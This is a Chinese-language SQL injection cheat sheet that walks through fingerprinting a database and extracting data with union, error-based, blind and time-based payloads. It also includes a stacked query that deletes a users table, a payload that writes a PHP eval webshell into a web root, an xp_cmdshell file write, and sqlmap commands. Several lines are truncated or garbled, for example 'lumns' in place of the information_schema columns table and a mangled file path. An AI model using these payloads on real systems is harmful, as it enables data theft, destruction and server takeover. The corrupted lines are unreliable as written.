sql截取字段的部分数据_这可能是最全的SQL注⼊总结,很有
SQL注⼊原理
sql语句替换表中内容当客户端提交的数据未作处理或转义直接带⼊数据库,就造成了sql注⼊。
攻击者通过构造不同的sql语句来实现对数据库的任意操作。
SQL注⼊的分类
按变量类型分:数字型和字符型
按HTTP提交⽅式分:POST注⼊、GET注⼊和Cookie注⼊
按注⼊⽅式分:布尔注⼊、联合注⼊、多语句注⼊、报错注⼊、延时注⼊、内联注⼊
按数据库类型分:
sql:oracle、mysql、mssql、access、sqlite、postgersqlnosql:mongodb、redis
MySQL与MSSQL及ACCESS之间的区别
1.MySQL5.0以下没有information_schema这个默认数据库
2.ACCESS没有库名,只有表和字段,并且注⼊时,后⾯必须跟表名,ACCESS没有注释
举例:select 1,2,3 from `table_name` union select 1,2,3 from `table_name`
3.MySQL使⽤limit排序,ACCESS使⽤TOP排序(TOP在MSSQL也可使⽤)
判断三种数据库的语句
MySQL:and length(user())>10
ACCESS:and (select count(*)from MSysAccessObjects)>0
MSSQL:and (select count(*)from sysobjects)>0
基本⼿⼯注⼊流程
1.判断注⼊点
数字型:id=2-1
字符型:' 、')、 '))、 "、 ")、 "))
注释符:-- (这是--空格)、--+、/**/、#
2.获取字段数
order by ⼆分法联合查询字段数,观察页⾯变化从⽽确定字段数
order by 1
order by 50
group by 译为分组,注⼊时也可使⽤,不过我没⽤过
3.查看显⽰位尝试使⽤联合注⼊
利⽤and 1=2或and 0及id=-12查看显⽰数据的位置
替换显⽰位改成SQL语句,查看信息(当前数据库,版本及⽤户名)
and 1=2 union select version(),2,3
再查询所有数据库
and 1=2 union select (select group_concat(schema_name)from information schema.schemata),2,3
查询所有表名
union select (select group_concat(table_name)from information_schema.tables),2,3
查询所有字段名
union select (select group_concat(column_name)from lumns),2,3
查询字段内容
如:查询test库下users表的id及uname字段,⽤'~'区分id和uname以防字符连接到⼀起
union select(select group_concat(id,'~',uname)from test.users),2,3
报错注⼊
通⽤报错语句:(测试版本MySQL8.0.12,MySQL5.0,mariadb5.5版本下)
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));select * from test where id=1 and (updatexml(1,concat(0x7e,(select u POST中的报错注⼊
布尔盲注
我在盲注中常⽤的函数:
1.char() 解ASCII码;
2.mid()截取字符串;
举例:mid('hello',1,3),从第1位开始截取3位,输出位hel
3.substr()与mid()相同,都为截取字符串;
7.ascii() 查询ascii码;
猜数据库长度(利⽤⼆分法);
id=1 and (length(database()))>1
id=1 and (length(database()))>50
猜第⼀个字符,第⼆个字符,以此类推
and ascii(mid(database(),1,1))>1
and ascii(mid(database(),2,1))>1
查询当前数据库中所有表名;
and (select count(table_name)from information_schema.tables where tables_schema=database())>1and (select count(table_name)from information_sche 查询第⼀个表的长度;
and (select length(table_name)from information_schema.tables where tables_schema=database()limit 0,1)>10
查询表的第⼀个字符;
and ascii(mid((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>1
查询atelier表⾥有⼏个字段;
and(select count(column_name)from lumns where table_name = 'atelier' and table_schema = database())>2
查询第⼀个字段长度;
and length((select column_name from lumns where table_name='atelier' and table_schema= database()limit 0,1))>1
查询字段第⼀个字符;
and ascii(mid((select column_name from lumns where table_schema = 'db83231_asfaa' and TABLE_NAME ='atelier' limit 0,1),1,1)查询字段所有⾏数;
and (select count(*) from db83231_asfaa.atelier)>4
查询字段名的⾏数(查询emails表,uname字段);
and (select count(uname)ails)>7 查询uname的⾏数
查询字段内容;
length((select username from security.users limit 0,1))>10ascii(mid((select username from security.user limit 0,1),1,1))>100
将查询到的ASCII码放到mysql中查询。
举例:select char(39);
延时盲注
利⽤sleep(3)和if(1=2,1,0)及case进⾏延时注⼊,⽰例:
select * from user where id='1' or sleep(3) %23
这个没什么好说的
select * from user where id= 1 and if(length(version())>10,sleep(3),0);
如果长度⼤于10,则睡3秒,其他则0秒
select * from user where id= 1 and case length(version())>10 when 1 then sleep(3) else 0 end;
case定义条件,when 后⾯的1表⽰ture也代表真,当条件为真时,睡3秒,其他则0秒。
多语句注⼊
多语句意思就是可以执⾏多个语句,利⽤分号进⾏隔开
⽰例:id=1";WAITFOR DELAY '0:0:3';delete from users; --+id=1';select if(length(user(),1,1)>1,sleep(3),1) %23';select if(length((select table_name from informatio 内联注⼊
举例:id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
利⽤别名:
union select 1,2,3,4,a.id,b.id,* from(sys_admin as a inner join sys_admin as b on a.id=b.id)
getshell
id=-1' union select 1,2,(select '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/404.php') --+
也可使⽤dumpfile进⾏写⼊。
outfile和dumpfile的区别:
outfile适合导库,在⾏末尾会写⼊新⾏并转义,因此不能写⼊⼆进制可执⾏⽂件。dumpfile只能执⾏⼀⾏数据。
数据库写⼊:
p_cmdshell 'echo "" > "c:www甥汰慯dFiles2019-11404.asp"'
宽字节注⼊
当编码位gbk时,%df%27或%81%27数据为空
就是说客户端发送的数据编码为gbk时,那么可能会吃掉转义字符反斜杠,闭合之后页⾯恢复正常,存在宽字节注⼊测试出来就可以使⽤sqlmap跑了,23333
加*构造注⼊点(⽐-p更稳定),让sqlmap对构造注⼊点进⾏注⼊攻击(*优先级更⾼)
宽字节防御:
第10⾏代码必须和第24⾏必须同时使⽤,要么就更换编码格式
⼆次编码注⼊
代码中有urldecode() 函数
%2527 先解码成%27再解码成'单引号
sqlmap -u 192.168.100.141/index.php/author=123 --prefix "%2527" --suffix "%23"
-prefix为设置前缀 -suffix为设置后缀
设置后缀,防⽌sqlmap使⽤内联注
使⽤⾃带的脚本进⾏注⼊chardoubleencode.py
图⽚上传sql注⼊
猜结构,为时间戳加⽂件名

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。